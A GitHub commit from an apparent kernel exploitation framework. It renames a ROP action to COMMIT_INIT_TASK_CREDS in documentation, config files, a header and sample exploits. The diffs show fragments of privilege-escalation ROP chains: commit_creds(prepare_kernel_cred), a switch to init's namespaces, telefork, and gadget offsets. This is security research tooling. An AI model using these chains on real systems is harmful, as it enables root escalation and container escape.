Skip to content

Commit 75a5624

Browse files
committed
rename COMMIT_KERNEL_CREDS -> COMMIT_INIT_TASK_CREDS / commit_creds(prepare_kernel_cred(&init_task))
1 parent e86c7c7 commit 75a5624

File tree

16 files changed

+18
-22
lines changed

16 files changed

+18
-22
lines changed

Documentation/how_to_get_started.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ After leaking a kernel address and calculating the KASLR base, you can begin con
8787

8888
```c++
8989
RopChain rop(target, kaslr_base);
90-
rop.AddRopAction(RopActionId::COMMIT_KERNEL_CREDS);
90+
rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
9191
RopUtils::Ret2Usr(rop, (void*)win);
9292
```
9393

Documentation/kxdb_database.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ This database can be included into the exploit binary as a binary blob or can be
4040

4141
* ROP actions (configurable ROP chains which execute predefined functionality):
4242
* `msleep(ARG_time_msec)`
43-
* `commit_kernel_cred(prepare_kernel_cred(0))`
43+
* `commit_creds(prepare_kernel_cred(&init_task))`
4444
* `switch_task_namespaces(find_task_by_vpid(ARG_vpid=1), init_nsproxy)`
4545
* `write_what_where_64(ARG_address, ARG_new_value)`
4646
* `fork()`

Documentation/sample_exploit.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -231,7 +231,7 @@ The steps to substitude deleted sections could be like this:
231231

232232
+ printf("[+] ROP chain:\n");
233233
+ RopChain rop(target, kernel_base);
234-
+ rop.AddRopAction(RopActionId::COMMIT_KERNEL_CREDS);
234+
+ rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
235235
+ rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1});
236236
+ rop.AddRopAction(RopActionId::TELEFORK, {100000});
237237
+ HexDump::Print(rop.GetData());

kernel_rop_generator/rop_samples.py

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,17 +20,15 @@
2020
RopChainArgument(argument_index=0),
2121
RopChainOffset(kernel_offset=0x227a50, description="msleep()")]),
2222

23-
# commit_kernel_cred(prepare_kernel_cred(0))
2423
RopAction(
25-
description="commit_kernel_cred(prepare_kernel_cred(0))",
24+
description="commit_creds(prepare_kernel_cred(0))",
2625
gadgets=[
2726
RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),
2827
RopChainConstant(value=0),
2928
RopChainOffset(kernel_offset=0x1be800, description="prepare_kernel_cred()"),
3029
RopChainOffset(kernel_offset=0x17caa80, description="mov rax, rdi"),
31-
RopChainOffset(kernel_offset=0x1be550, description="commit_kernel_cred()")]),
30+
RopChainOffset(kernel_offset=0x1be550, description="commit_creds()")]),
3231

33-
# switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)
3432
RopAction(
3533
description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)",
3634
gadgets=[

kxdb_tool/converter/config.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@
2424

2525
rop_actions = [
2626
"msleep(ARG_time_msec)",
27-
"commit_kernel_cred(prepare_kernel_cred(0))",
27+
"commit_creds(prepare_kernel_cred(&init_task))",
2828
"switch_task_namespaces(find_task_by_vpid(ARG_vpid=1), init_nsproxy)",
2929
"write_what_where_64(ARG_address, ARG_new_value)",
3030
"fork()",

kxdb_tool/test/config.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717

1818
rop_actions = [
1919
"msleep(ARG_time_msec)",
20-
"commit_kernel_cred(prepare_kernel_cred(0))",
20+
"commit_creds(prepare_kernel_cred(&init_task))",
2121
"switch_task_namespaces(find_task_by_vpid(ARG_vpid=1), init_nsproxy)",
2222
"write_what_where_64(ARG_address, ARG_new_value)",
2323
"fork()",

kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.36/rop_actions.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
},
1919
{
2020
"type_id": 2,
21-
"description": "commit_kernel_cred(prepare_kernel_cred(0))",
21+
"description": "commit_creds(prepare_kernel_cred(0))",
2222
"gadgets": [
2323
{
2424
"kernel_offset": 8682,

libxdk/include/kernelXDK/target/Target.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
enum struct RopActionId: uint32_t {
1010
MSLEEP = 0x01,
11-
COMMIT_KERNEL_CREDS = 0x02,
11+
COMMIT_INIT_TASK_CREDS = 0x02,
1212
SWITCH_TASK_NAMESPACES = 0x03,
1313
WRITE_WHAT_WHERE_64 = 0x04,
1414
FORK = 0x5,

libxdk/samples/exp111/exploit.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -307,7 +307,7 @@ int main (int argc, char **argv) {
307307

308308
printf("[+] ROP chain:\n");
309309
RopChain rop(target, kernel_base);
310-
rop.AddRopAction(RopActionId::COMMIT_KERNEL_CREDS);
310+
rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
311311
rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1});
312312
rop.AddRopAction(RopActionId::TELEFORK, {100000});
313313
HexDump::Print(rop.GetData());

libxdk/samples/exp151/exploit.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -291,7 +291,7 @@ int exploit(struct nl_sock *socket){
291291
//Step 7: Dump `nft_table F`. We have dump it in [1]
292292
printf("[+] ROP chain:\n");
293293
RopChain rop(target, kernel_base);
294-
rop.AddRopAction(RopActionId::COMMIT_KERNEL_CREDS);
294+
rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
295295
rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1});
296296
rop.AddRopAction(RopActionId::TELEFORK, {1000000});
297297
HexDump::Print(rop.GetData());

0 commit comments

Comments
 (0)